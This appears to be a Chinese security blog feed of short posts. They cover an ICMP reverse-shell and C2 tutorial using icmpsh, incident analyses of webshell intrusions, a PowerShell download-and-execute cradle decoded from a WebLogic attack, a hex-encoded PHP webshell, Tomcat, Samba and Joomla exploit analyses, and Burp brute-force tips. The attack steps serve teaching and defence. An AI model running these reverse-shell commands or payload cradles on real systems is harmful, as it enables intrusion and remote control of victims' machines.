Posts on Lucien's Blog

通过ICMP进行命令控制和隧道传输

Tue, 30 Jul 2019 03:37:10 +0000

在本文中，您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作，因为这两种方法都有助于规避防火墙规则，因为它们会在网络中产生不合理的流量。

表中的内容

ICMP协议工作概述 通过ICMP协议进行命令和控制

需求
icmpsh：C2通道及其安装
将icmpsh作为Master运行
将icmpsh作为Slave运行

ICMP隧道

需求
在服务器计算机上配置ICMP（目标）
通过客户端计算机配置ICMP隧道（入侵者）
通过ICMP连接SSH

ICMP协议工作概述

Internet控制消息协议（ICMP）是Internet协议套件中的支持协议。网络设备（包括路由器）使用它来发送错误消息和操作信息，指示所请求的服务不可用或无法访问主机或路由器。

它是第3层，即ping命令用于通过ICMP有效载荷发送消息的网络层协议，ICMP有效载荷用IP报头分组封装。根据MTU，ICMP包的大小不能大于1500字节。

**网络层的ICMP数据包IP标头ICMP标题ICMP有效负载大小MTU（1500）**20个字节8个字节1472字节（最大）20 + 8 + 1472 = 1500 ping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应，这意味着目标主机处于活动状态。

从这里了解更多

通过ICMP协议进行命令和控制

在我们的许多出版物中，我们讨论过C2通道，它还被认为是命令和控制，所以你可以 在这里 找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。

网络战正在闯入入侵者和安全研究员，因此，我们需要保留部分备份计划。众所周知，公司已经变得越来越聪明，他们理解在实现机器的TCP反向连接后，正在观察有关攻击的类型。

因此我们提出了ICMP秘密shell，并使用icmpsh作为命令和控制工具。

需求

攻击者机器或C2通道：192.168.1.108（Kali Linux）
主机：192.168.1.106（Windows 10）

icmpsh：C2通道及其安装

icmpsh 是一个简单的反向ICMP shell，带有win32 slave和 CIX，Perl或Python中的POSIX兼容master。与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可运行到目标计算机上。

该工具清洁，简单，便携。从属（客户端）在目标Windows机器上运行，它用C语言编写并且仅在Windows上运行，而主服务器（服务器）可以在攻击者机器上的任何平台上运行，因为它已经由Nico Leidecker在C和Perl中实现，后来它也被移植到Python中。

它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。

git clonehttps://github.com/inquisb/icmpsh.git

运行icmpsh作为Master（Kali Linux）

下载完成后，您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。

sysctl-wnet.ipv4.icmp_echo_ignore_all=1

cd icmpsh

syntax:./icmpsh_m.py<attacker’s-IP>

./icmpsh_m.py192.168.1.108192.168.1.106

将icmpsh作为slave运行（Windows 10）

现在再次在主机内部安装icmpsh工具以作为从站运行，并且在目标系统上运行从站的用户不需要管理权限。

然后运行以下命令：

syntax:icmpsh.exe-t

icmpsh.exe-t192.168.1.108

一旦在主机上执行上述命令，入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。

Oracle WebLogic漏洞攻击

Mon, 29 Jul 2019 06:45:56 +0000

最近，发现有使用Oracle WebLogic RCE反序列化漏洞（CVE-2018-2628）进行攻击的活动。

攻击者在其请求中包含了PowerShell命令，且进过base64加密：

解码base64后代码如下：

$OS=(GWmi Win32_OperatingSystem).Caption; $WC=New-Object Net.WebClient; $WC.Headers[‘User-Agent’]=“PowerShell/WL $OS”; IEX $WC.DownloadString(‘http://101.200.45.78/images/test/DL.php’);

攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。尝试抓取该文件：

ERROR 404？really?

可能是我在这里遗漏了什么？让我们仔细分析命令：

我们可以看到攻击者在获取文件时需要用特定的User-Agent。
这就是为什么尝试直接wget / curl文件时，它失败了。

所以我们要做的是在获取文件时将User-Agent设置为完全相同。
在这种情况下，使用curl来获取文件：

root@leopardbox:~# curl -v -H User-Agent: “PowerShell/WL Microsoft Windows 7 Professional” http://111.230.229.226/images/test/DL.php

\* Trying 111.230.229.226…

\* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)

GET /images/test/DL.php HTTP/1.1

Host: 111.230.229.226

Accept: */*

User-Agent: PowerShell/WL Microsoft Windows 7 Professional < < HTTP/1.1 200 OK

< Date: Sun, 29 Apr 2018 11:50:23 GMT

Wireshark过滤规则之：http数据包

Wed, 14 Nov 2018 15:38:14 +0000

http.host==magentonotes.com http.host contains magentonotes.com //过滤经过指定域名的http数据包，这里的host值不一定是请求中的域名

http.response.code==302 //过滤http响应状态码为302的数据包

http.response==1 //过滤所有的http响应包

http.request==1 //过滤所有的http请求，貌似也可以使用http.request

http.request.method==POST //wireshark过滤所有请求方式为POST的http请求包，注意POST为大写

http.cookie contains guid //过滤含有指定cookie的http数据包

http.request.uri==”/online/setpoint” //过滤请求的uri，取值是域名后的部分

http.request.full_uri==” http://task.browser.360.cn/online/setpoint” //过滤含域名的整个url则需要使用http.request.full_uri

http.server contains “nginx” //过滤http头中server字段含有nginx字符的数据包

http.content_type == “text/html” //过滤content_type是text/html的http响应、post包，即根据文件类型过滤http数据包

http.content_encoding == “gzip” //过滤content_encoding是gzip的http包

http.transfer_encoding == “chunked” //根据transfer_encoding过滤

http.content_length == 279 http.content_length_header == “279″ //根据content_length的数值过滤

http.server //过滤所有含有http头中含有server字段的数据包

http.request.version == “HTTP/1.1″ //过滤HTTP/1.1版本的http包，包括请求和响应

http.response.phrase == “OK” //过滤http响应中的phrase

原创文章，转载请注明：转载自 Web开发笔记 | Wireshark过滤规则之：http数据包

对某集团网站被入侵后的分析

Fri, 31 Aug 2018 15:56:57 +0000

通过监测发现，2018-8-28-15：30左右安全设备产生大量“上传漏洞攻击”和“一句话木马”的告警，发现攻击源为IP:110.185.170.221 地理位置：四川成都；被攻击IP：10.100.250.15 端口：81 ，该服务器为xxx公司网站英文版（www.xxx.com），如下图：

图1-告警信息

通过对告警流量的分析，发现攻击者通过发送POST请求向site.aspx页面提交并执行了一段代码(代码经过BASE64编码)，随后网站返回了一个含有一句话木马内容的页面，正是这段一句话木马的内容触发的告警，如下图：

图2-发现一句话后门文件

随后对攻击者提交的POST数据进行分析，通过对BASE64编码的代码解码后，发现其最终执行的代码为：I:\website\xxx.com\aaa.asp （访问xxx.com网站根目录下的aaa.asp文件），而这个aaa.asp正是一个一句话后门。由此可以证实该网站已经被植入一句话木马，而site.aspx页面能够执行命令且查看文件的行为也很可疑。

通过对攻击IP：110.185.170.221的流量回溯分析后发现，从8月28日9:52开始改IP便开始对服务器10.00.250.15的80、81端口发起WEB扫描，如下图：

图3-web扫描

对HTTP访问日志的分析后发现，攻击者访问频率最高的为http://www.xxx.com.hk/Login.aspx和http://xxx.xx.xx.77:81/Upload/9/2000/site.aspx两个页面，如下图：

图4-1-页面访问

图4-2-页面访问

接着着重对这两个页面的数据进行分析。通过分析发现页面http://www.xxx.com.hk/Login.aspx为网站后台登录页面，简单测试后发现该登陆页面没有设置登陆尝试次数限制和验证码等安全措施，且没有过滤用户的输入，存在SQL注入漏洞和暴力破解的风险，如下图：

图5-Login.aspx

分析相关数据包发现，攻击者正利用此页面发起暴力破解攻击和SQL注入攻击，如下图：

图6-暴力破解攻击

暴力破解不成功，随后发起SQL注入攻击，如下图:

图6- SQL注入攻击

攻击者通过sql注入漏洞，成功获取了用户名为“yangfang”的账号和登录密码并登录账号进入了后台，如下图：

图6-攻击者使用yangfang账号登录

登录后台后，从HTTP访问日志中可以发现攻击者便开始频繁访问http://xxx.xxx.xx.77:81/Upload/9/2000/site.aspx页面。这个site.aspx文件到底是网站原有的文件还是攻击者上传的可疑文件呢？

于是，先找到攻击者第一次访问site.aspx页面时的HTTP日志，发现在访问site.aspx页面之前攻击者还先POST请求了一个/visual.aspx?ucfi=&EVENT=***的页面，如下图：

图7- 上传页面

随后找到访问该页面时的流量，通过流量分析，发现该页面为后台文件管理的页面，攻击者通过此页面上传了site.aps文件到/Upload/9/2000目录下，从流量中可以看到site.aspx也是一个后门文件，如下图：

图8-上传一句话木马site.aspx

之后经证实，由于该页面未对上传的文件做任何检测和限制，攻击者正是通过此页面轻松上传了这个一句话木马文件site.aspx。

图7-文件上传点

在之后的分析中，同时在/Upload/9/2000目录下还发现了多个其他的后门文件，如下图：

图9-其他后门文件

由此可见该服务器早已经被多人控制，且上传了各种后门文件和程序，不排除攻击者通过后门已经提权成功获取了对整个服务器的控制权限。由于网站目录文件较多，且服务器上不止存在一个网站，建议及时删除已知的后门，并对网站全站以及服务器进行深入排查。

机器学习与网络安全相关的资料

Mon, 12 Mar 2018 14:47:18 +0000

外媒 KDnuggets 刊登了一篇机器学习与网络安全相关的资料大汇总，文中列出了相关数据源的获取途径，优秀的论文和书籍，以及丰富的教程。大部分都是作者在日常工作和学习中亲自使用并认为值得安利的纯干货。

数据源

SecRepo.com 网站，该网站汇聚了大量的与机器学习和网络安全相关的数据源，并提供免费下载。据网站首页介绍，所有可用的数据源包含两个部分：一是网站方面自己整理的，二是来自第三方的。其内容包括互联网扫描数据，恶意软件源码，以及和网络安全相关的系统日志等。

论文

1. Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks

本文来自卡内基梅隆大学，分析了通用符号密码的脆弱性，以及目前常见的密码健壮性检验的各种缺点，甚至给出了他们在实验室利用神经网络算法攻破各种符号密码的具体步骤，非常强大。

2. Outside the Closed World: On Using Machine Learning for Network Intrusion Detection

本文来自加州伯克利大学，分析了利用机器学习探测网络安全的优势和劣势，并给出了一些改善这些劣势的解决方案。

3. Anomalous Payload-Based Network Intrusion Detection

通常一个互联网上的恶意请求都会在真正的恶意代码外部包装一层善意的外衣，这大大阻碍了相关探测程序的正常工作。来自哥伦比亚大学的Ke Wang和Salvatore J. Stolfo两位学者在本文中给出了一种全新的探测恶意代码中有效代码段的方法，并在实测中达到了接近100%正确率和0.1%的误报率。

4. Malicious PDF detection using metadata and structural features

当前，随着防范措施的升级，恶意代码隐藏在PDF和Word等文本文件中的例子屡见不鲜，用户防不胜防。在本文中，来自乔治梅森大学的学者介绍了一种通过机器学习技术探测恶意文本文件的技术，特别是内含恶意代码的PDF文件。

5. Adversarial support vector machine learning

来自德州大学，介绍了两种利用机器学习技术探测网络恶意攻击的分析模型，即无边界攻击模型（free-range attack model）和限制边界攻击模型（restrained attack model）。

6. Exploiting machine learning to subvert your spam filter

一份安全分析师面试题

Tue, 06 Mar 2018 13:54:52 +0000

昨天做的一份关于安全分析的面试题，记录一下，有些地方回答得可能不是很全面，若有纰漏欢迎指出。

如何对邮件或web服务器的网络行为进行分析，写出你的方法、步骤和关键要点。

一、针对邮件服务器的web端进行网络行为的分析：

下面假设针对邮件服务器常出现的三种情况进行分析

1、暴力破解用户登录名和密码

分析方法：

（1）查看web端页面的访问流量情况是否异常，重点查看某一时间段内连接该web页面的IP情况，是否有同一IP请求大量重复连接的情况（有一些暴力破解攻击攻击者为了避免被防火墙、IDS等一些安全设备屏蔽，也会采用IP池、代理等多种方式频繁更换IP），如存在这种情况则进行深入分析。

（2）通常web端的暴力破解攻击会产生大量的POST提交请求，查看HTTP请求的数据包，如果发现提交的HTTP请求的内容中含有大的量的相同账号，不同密码的登录尝试请求（也可能是大量的不同账号的登陆请求），则可断定为暴力破解攻击。如下图：

图1-web暴力破解攻击

防御措施：

使用验证码进行验证登陆、限制用户尝试密码次数、邮箱用户密码设置强密码等。

2、邮件系统内某一用户对外发送大量垃圾邮件

通常这种情况出现在用户邮箱被盗，或计算机中病毒（蠕虫病毒的情况较常见）之后。

分析方法：

（1）若用户邮件系统本身数据量较大可采用采样分析的方法，选择邮件系统较繁忙的时间段（如上班期间）抓包分析。（2）抓取网络流量中的SMTP、POP3协议的流量包，利用wireshark等分析工具的统计功能查看向外发送请求较多的IP地址。（3）针对对外请求较多的IP地址可以查看其发送的数据包里面所发送的邮件头信息，具体查看发送的频率（一般很快），其次查看收件人邮箱地址（通常对外发送垃圾邮件邮件的收件人地址多为一些怪异的邮箱地址，具体根据个人经验判断）、邮件内容（若未加密）是否为广告邮件或其他垃圾邮件，再可以查看发送出去的邮件的状态，大多数垃圾邮件发送出去之后一般会被对方服务器拒收，数据包里可以看到 “Sender denied”的标志。（4）通过上述几点可以综合判断用户是否存在用户邮箱的对外发送垃圾邮件影响邮件服务器性能的问题。（5）针对计算机中蠕虫病毒之后对外发送垃圾邮件的情况，通常计算机在发送垃圾邮件之前会向外连接远程服务器下载邮箱地址列表，然后再对列表中的邮件地址发送垃圾邮件。同时蠕虫病毒本身具有传播性，还会伴随着内网扫描、尝试邮箱用户密码（该操作通常也会下载尝试的用户名和密码文件）等操作。可以通过这些特征来发现邮件服务器中的异常行为，蠕虫病毒分析具体技术细节就不再赘述。

防御措施：

加强服务器自身的安全性及时打补丁、安装杀毒软件、邮箱用户密码设置强密码等。

3、针对其他类型web服务器主机的流量分析

首先要知道WEB服务器如果出现问题，常见的大致可以分为三个方面的问题：被植入后门、遭受DDOS攻击、网站存在漏洞被利用。下面从这三个方面大致讲述。

分析方法：

（1）被植入后门（这里只针对被植入webshell的情况，服务器自身被植入后门不做分析）通常网站在被植入webshell之后，黑客会进行webshell的访问。若是在线监测分析可在监测工具中加入常见webshell特征（如一些一句话木马常用的函数“eval()”、”execute()”、wscipt.shell等）进行在线监测，查看是否有IP连接具有这些危险函数的页面，如果有再进行下一步的深入分析查看该页面是否是正常网站页面（通常情况一般web文件不会包含上述特征）。同时也可以通过查看数据包中HTTP是否有对可疑页面文件（如1.jsp等）的请求，判断是否被植入后门。以上方法缺点是在数据量较大的情况下可能存在较多的误报，人工检测分析效率不高，所以最好还是借助安全设备和一些安全工具进行检测再对检测出的可疑数据进行分析确认。顺便提一下目前比较流行的网站被植入挖矿代码的分析和检测。如果网站被植入挖矿代码，挖矿代码一定会连接矿池地址，在数据包中可针对矿池地址和一些常用的挖矿的端口进行检查。（2）遭受DDOS攻击 DDOS攻击类型多种，以下只挑选两种较有代表性的攻击举例。 SYN flood攻击。短时间内通过大量的IP向web服务器发送请求连接的半开TCP数据包，而不完成三次握手。所以这种攻击一般很明显，从整体流量上看，syn数据包的数据包会明显增加。慢速HTTP POST 攻击。这种攻击不会像一般的DDOS攻击发送大量数据包暂用网络资源来导致WEB服务器拒绝服务。通常这类攻击在与服务器建立连接后会设定一个较大的content-length值，然后以很低的速度发包。针对这类攻击可以查看数据包中HTTP的POST请求中是否有IP发送content-length较大的数据包。经过之前对这种类型的攻击工具的分析，一般发包的时间是固定的，例如10S发一次包。（3）网站存在漏洞被利用常见的web攻击方式一般有sql注入、文件上传、远程命令执行等。Sql注入攻击，结合以前的工作经验来看，大多数会先采用扫描的方式，那么数据包中可以看到大量的尝试sql注入的语句，大量的数据包不便于分析，所以可以排除掉一些返回404或者302状态的数据包，只查看一些有成功返回信息的请求数据包，再查看sql注入是否成功。当发现数据包中有ip大量尝试sql注入的话，也可以缩小范围只针对该IP的流量进行分析，重点查看该IPsql注入尝试完之后有无其他动作。文件上传攻击，例如一些网站上传用户头像的地方对上传文件的过滤不严格攻击者可能会上传一句话图片木马，所以可以在数据包中查看上传的文件内容，是否包含可疑代码。远程命令执行，这种类型的攻击可以直接过滤查看出数据包中是否还有一些危险命令的数据包（例如 net user xxx xx/add、cmd等这类命令）。

抓取网络中的SMTP/POP3、QQ、HTTP等流量，通过数据包的分析能获取哪些关键参数

下面列举一些较有用的可能不完全： SMTP/POP3： USER、PASS （用户登录名、密码） EHLO （发送方的主机名） MAIL FROM/RCPT TO (发送方/接收方地址) HTTP： GET/POST （请求的类型，后面是请求的页面） HOST （主机名和端口号，通常为域名） User-Agent (发送请求的客户端信息。特殊情况：如爬虫访问、扫描器扫描) “200、404、302“等（服务器返回的响应码） QQ: QQ的协议加密，从数据包中获取不到什么关键参数。

记一次服务器被入侵后的分析

Mon, 04 Dec 2017 08:26:54 +0000

通过系统日志发现问题参数为channel,文件为onetrans.php，打开onetrans.php查看，如下图

图-1 onetrans.php

从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件，打开phpagi-asmanager-elastix.php查看，如下图：

图-2 phpagi-asmanager-elastix.php

通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk，攻击者是通过API提供的Command远程命令执行写入了一句话木马，如下图

图-3 写入一句话木马

从上图可以发现攻击者使用system()函数执行的命令，其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马，用xxd命令（ -P：以 postscript的连续十六进制转储输出，这也叫做纯十六进制转储，和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。）最后把一句话输出到smart.inc.class.php。

但是从日志文件看，里面还有Action：Command、ActionID：1这样的字符串，于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。

Manager API简介

Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例，并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进，它就显得特别有用。在服务端和客户端之间，用的是一种简单的"key: value"格式的协议。消息中，以CR/LF为换行符，以空行(两个CR/LF)为数据包终结符。

AMI协议

向Asterisk发送命令之前，必须先建立一个会话会话建立之后，服务端和客户端之间，可以在任意时候发送数据包客户端发给服务端的包，首行必须有一个”Action”关键字；服务端发给客户端的包，首行则必须有”Event”或”Response”关键字。一个数据包里，命令行的顺序是无关紧要的，所以可以用你熟悉的顺序来组织以CR/LF为换行符，CR/LF加空行(两个CR/LF)为包结束符，Asterisk收到包结束符时开始解析处理

包的类型

AMI的数据包类型，由首行里的关键字决定，目前有以下三种类型： Action：客户端发给Asterisk的包，请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的)，取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response：Asterisk对Action的响应包。Event：由Asterisk核心或外围模块生成的事件信息，用于通知客户端状态变化，比如电话呼入，有人加入或退出会议室，等等。

AMI配置

AMI的配置文件/etc/asterisk/manager.conf。AMI缺省的监听端口为5038，主要需要配置的内容是分配个用户，并授予执行的权限，配置实例：

[general] enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user

配置项的详细内容，可参考http://www.asterisk.org/doxygen/trunk/Config_ami.html配置完成后，可以在CLI下查看manager用信息，操作实例如下：

yjye*CLI> manager show users

username ---—– admin ---—————- 1 manager users configured.

AMI的命令列表可以通过在CLI下的manager show commands查看，我的环境里是这样的：

yjye*CLI> manager show commands Action Privilege Synopsis —— ——— ——– WaitEvent Wait for an event to occur. QueueReset Reset queue statistics. QueueReload Reload a queue, queues, or any sub-section of a queue o QueueRule Queue Rules. QueuePenalty agent,all Set the penalty for a queue member. QueueLog agent,all Adds custom entry in queue_log. QueuePause agent,all Makes a queue member temporarily unavailable. QueueRemove agent,all Remove interface from queue. QueueAdd agent,all Add interface to queue. QueueSummary Show queue summary. QueueStatus Show queue status. Queues Queues. MuteAudio system,all Mute an audio stream MixMonitorMute Mute / unMute a Mixmonitor recording. VoicemailUsersL call,reporting, List All Voicemail User Information. PlayDTMF call,all Play DTMF signal on a specific channel. SKINNYshowline system,reportin Show SKINNY line (text format). SKINNYlines system,reportin List SKINNY lines (text format). SKINNYshowdevic system,reportin Show SKINNY device (text format). SKINNYdevices system,reportin List SKINNY devices (text format). IAXregistry system,reportin Show IAX registrations. IAXnetstats system,reportin Show IAX Netstats. IAXpeerlist system,reportin List IAX Peers. IAXpeers system,reportin List IAX peers. AgentLogoff agent,all Sets an agent as no longer logged in. Agents agent,all Lists agents and their status. SIPnotify system,all Send a SIP notify. SIPshowregistry system,reportin Show SIP registrations (text format). SIPqualifypeer system,reportin Qualify SIP peers. SIPshowpeer system,reportin show SIP peer (text format). SIPpeers system,reportin List SIP peers (text format). LocalOptimizeAw system,call,all Optimize away a local channel when possible. AGI agi,all Add an AGI command to execute by Async AGI. UnpauseMonitor call,all Unpause monitoring of a channel. PauseMonitor call,all Pause monitoring of a channel. ChangeMonitor call,all Change monitoring filename of a channel. StopMonitor call,all Stop monitoring a channel. Monitor call,all Monitor a channel. DBDelTree system,all Delete DB Tree. DBDel system,all Delete DB entry. DBPut system,all Put DB entry. DBGet system,reportin Get DB Entry. Bridge call,all Bridge two channels already in the PBX. Park call,all Park a channel. ParkedCalls List parked calls. ShowDialPlan config,reportin Show dialplan contexts and extensions AOCMessage aoc,all Generate an Advice of Charge message on a channel. ModuleCheck system,all Check if module is loaded. ModuleLoad system,all Module management. CoreShowChannel system,reportin List currently active channels. Reload system,config,a Send a reload event. CoreStatus system,reportin Show PBX core status variables. CoreSettings system,reportin Show PBX core settings (version etc). UserEvent user,all Send an arbitrary event. UpdateConfig config,all Update basic configuration. SendText call,all Send text message to channel. ListCommands List available manager commands. MailboxCount call,reporting, Check Mailbox Message Count. MailboxStatus call,reporting, Check mailbox. AbsoluteTimeout system,call,all Set absolute timeout. ExtensionState call,reporting, Check Extension Status. Command command,all Execute Asterisk CLI Command. Originate originate,all Originate a call. Atxfer call,all Attended transfer. Redirect call,all Redirect (transfer) a call. ListCategories config,all List categories in configuration file. CreateConfig config,all Creates an empty file in the configuration directory. Status system,call,rep List channel status. GetConfigJSON system,config,a Retrieve configuration (JSON format). GetConfig system,config,a Retrieve configuration. Getvar call,reporting, Gets a channel variable. Setvar call,all Set a channel variable. Ping Keepalive command. Hangup system,call,all Hangup channel. Challenge Generate Challenge for MD5 Auth. Login Login Manager. Logoff Logoff Manager. Events Control Event Flow. DataGet Retrieve the data api tree.

记一远程命令执行漏洞的修补过程

Tue, 07 Nov 2017 12:04:12 +0000

前些天一网友服务器被入侵种马帮忙查看修复漏洞，在删除后门之后通过查询服务器日志找到入侵者留下的攻击痕迹。如下图：（图为后补，我也不知道为啥他要wget baidu.com）

图1-服务器日志

通过日志可以发现漏洞存在于fw.php文件，入侵者通过执行wget 命令远程下载入侵者服务器上名为1.php的一句话后门。找到了问题所在接下来查看fw.php这个文件：

图2-修复前

通过图2可以看到该漏洞是因为没有严格限制用户提交的数据，入侵者通过“；”截断了CMD命令，从而导致执行了后面的wget命令。

所以我们需要对用户递交的数据进行过滤，让用户只能提交正确的数据（IP地址）。通过定义一个isOk_ip()函数，对用户提交的数据利用正则表达式过滤，便避免了这个漏洞。

修复后代码如下图：

图2-修复后

Apache Tomcat 信息泄露漏洞预警及远程代码执行漏洞复现

Mon, 23 Oct 2017 14:06:06 +0000

一、漏洞描述：

2017年9月19日，Apache Tomcat官方修复了2个严重级别的漏洞，分别为：信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615）

1.1CVE-2017-12616 ：信息泄露漏洞

当 Tomcat 中使用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。

1.2 远程代码执行漏洞（ CVE-2017-12615 ）

如果Apache Tomcat服务器上启用了HTTP PUT请求方法（将web.xml中 readonly 初始化参数由默认值设置为 false），则可能存在远程代码执行漏洞。攻击者可以通过该漏洞上传jsp文件。

二、影响范围：

2.1信息泄露漏洞（CVE-2017-12616）影响范围：

Apache Tomcat 7.0.0 – 7.0.80

2.2远程代码执行漏洞（CVE-2017-12615）影响范围：

Apache Tomcat 5.x – 9.x

三、漏洞复现：

3.1 Apache Tomcat/7.0.79

修改/conf/web.xml

Readonly的含义：当设置为false时,PUT、DELETE方法生效

发送PUT请求包

思路可参考https://msdn.microsoft.com/en-us/library/dn393272.aspx

成功创建jsp文件

3.2 Apache Tomcat/7.0.81

上传失败

由于tomcat 对jsp做了一定处理。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性，前面的流程中 topsec.jsp/ 识别为非jsp文件，而后续保存文件的时候，文件名不接受/字符，故而忽略掉。

修改文件名格式后再次提交请求：

3.3 Apache Tomcat/8.5.20 Linux

前端常用的几种弹窗函数

Thu, 27 Jul 2017 15:15:36 +0000

1、alert("") 弹窗：提示

alert弹窗使我们写js时使用最多的一种弹窗，主要作为提示，一般我们经常用来测试js某段代码是否有没有出错。

例：//弹出对话框并输出一段提示信息

function prompt() {

//弹出一个对话框

alert(“提示信息！”);

}

2、confirm("") 弹窗：判断是否进行某一个操作

confirm() 方法主要用于显示一个带有指定消息和 OK 及取消按钮的对话框。如用户点击确定按钮，则返回 true。如点击取消，则返回 false。在点击确定或取消按钮关闭之前，它将阻止用户对浏览器的所有输入。

例：//弹出一个询问框，有确定和取消按钮

function firm() {

//利用对话框返回的值（true 或者 false）

if (confirm(“你确定提交吗？”)) {

alert(“点击了确定”);

}

else {

alert(“点击了取消”);

}

3、prompt("") 弹窗：用于输入文本内容

prompt("") 弹窗方法用于显示可提示用户进行输入的对话框。如用户单击取消按钮，则返回 null。如单击确认按钮，则返回输入的文本。在点击确定或取消关闭之前，它将阻止用户对浏览器的所有输入。在调用 prompt() 时，在用户作出响应之前，不会执行下一条语句。

例：//弹出一个输入框，输入一段文字，可以提交

function prom() {

var name = prompt(“请输入您的名字”, “”); //将输入的内容赋给变量 name ，

//这里需要注意的是，prompt有两个参数，前面是提示的话，后面是当对话框出来后，在对话框里的默认值

if (name)//如果返回的有内容

{

alert(“欢迎您：” + name)

}

Burpsuite教程与技巧之HTTP brute暴力破解

Wed, 05 Jul 2017 06:55:40 +0000

常规的对username/passwprd进行payload测试，我想大家应该没有什么问题，但 对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题，很多朋友疑惑了.

之前，我记得我介绍过burpsuite的intruder功能(BurpSuite教程与技巧之SQL Injection)，想必很多人没什么印象，在此，以HTTP brute重提intruder功能.

以下面案例进行说明(只作演示之用，具体以自己的目标为准)

Auth=dXNlcjpwYXNzd29yZA==处，也就是我们的关键位置.

那么具体该如何做呢?大致操作过程如下:

1.解密base64字符串
2.生成测试用的payload
3.利用payload进行测试

1.解密验证用的base64字符串

解密后的字符串为:

Auth=user:password

问题来了，针对user:password这种形式的字符串，我们该如何设置payload呢?

想必很多人在此处了费尽心思。为了解决这个问题，接下来请看第二部分。

2.生成测试用的payload

对于这种格式，无法利用burpsuite顺利的完成测试，那个就需要丰富对应的payload了.

我的做法就是，利用burpsuite生成我要的payload文本.

Auth=§user§§:§§password§

设置3处payloads，

1 ------ §user§
2 ------ §:§
3 ------ §password§

然后根据intruder自带的battering ram/pitchfork/cluster bomb生成payloads(根据自己的需求生成)

我在此处选择以cluster bomb为例，利用intruder生成需要的payloads，然后保存到文本文件中.

3.利用payload进行测试

测试的时候，我们选用sniper，我们只需一个payload变量

若有不足之处，欢迎指正.

Samba远程代码执行漏洞(CVE-2017-7494)分析

Sat, 03 Jun 2017 15:41:09 +0000

作者: cyg07 && redrain

概述

2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心和 360信息安全部的Gear Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。

技术分析

如官方所描述，该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限（samba默认是root用户执行的）。

从Patch来看的话，is_known_pipename函数的pipename中存在路径符号会有问题：

再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了：

具体攻击过程：

构造一个有’/’ 符号的管道名或路径名，如 “/home/toor/cyg07.so”
通过smb的协议主动让服务器smb返回该FID
后续直接请求这个FID就进入上面所说的恶意流程

具体攻击结果如下：

尝试加载　“/home/toor/cyg07.so” 恶意so
其中so 代码如下(加载时会调用　samba_init_module 导出函数)
最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限)

解决方案

360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作，

使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新；
使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作；

缓解策略：用户可以通过在smb.conf的[global]节点下增加　nt pipe support = no 选项，然后重新启动samba服务，以此达到缓解该漏洞的效果。

Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析

Thu, 18 May 2017 16:33:22 +0000

Author: p0wd3r (知道创宇404安全实验室) Date: 2017-05-18

0x00 漏洞概述

漏洞简介

Joomla于5月17日发布了新版本3.7.1,（ https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html），本次更新中修复一个高危SQL注入漏洞（ https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html），成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。

漏洞影响

未授权状态下SQL注入

影响版本： 3.7.0

0x01 漏洞复现

Joomla 在 3.7.0 中新增了一个 com_field 组件，其控制器的构造函数如下，在 components/com_fields/controller.php 中：

可以看到当访问的 view 是 fields， layout 是 modal 的时候，程序会从 JPATH_ADMINISTRATOR 中加载 com_fields，这就意味着普通用户可以通过这样的请求来使用管理员的 com_fields。

接下来我们看管理员的 com_fields 组件，我们来到 administrator/components/com_fields/models/fields.php，其中的 getListQuery 的部分代码如下：

程序通过 $this->getState 取到 list.fullordering，然后使用 $db->escape 处理后传入 $query->order 函数，mysqli的 escape 函数代码如下：

这里调用 mysqli_real_escape_string 来转义字符，该函数具体作用如下：

仅对单双引号等字符进行转义，并未做更多过滤。另外 $query->order 函数的作用仅仅是将数据拼接到 ORDER BY 语句后，也并未进行过滤，所以如果 list.fullordering 可控，那么就可以进行注入。

我们可以看到 list.fullordering 是一个 state， state 会在视图的 display 函数中进行设置：

在线免费的前端黑工具 XSS'OR

Thu, 18 May 2017 16:30:26 +0000

作者: 余弦

地址： xssor.io

这是一个在线免费的前端黑工具，目前主要包含 3 大模块：

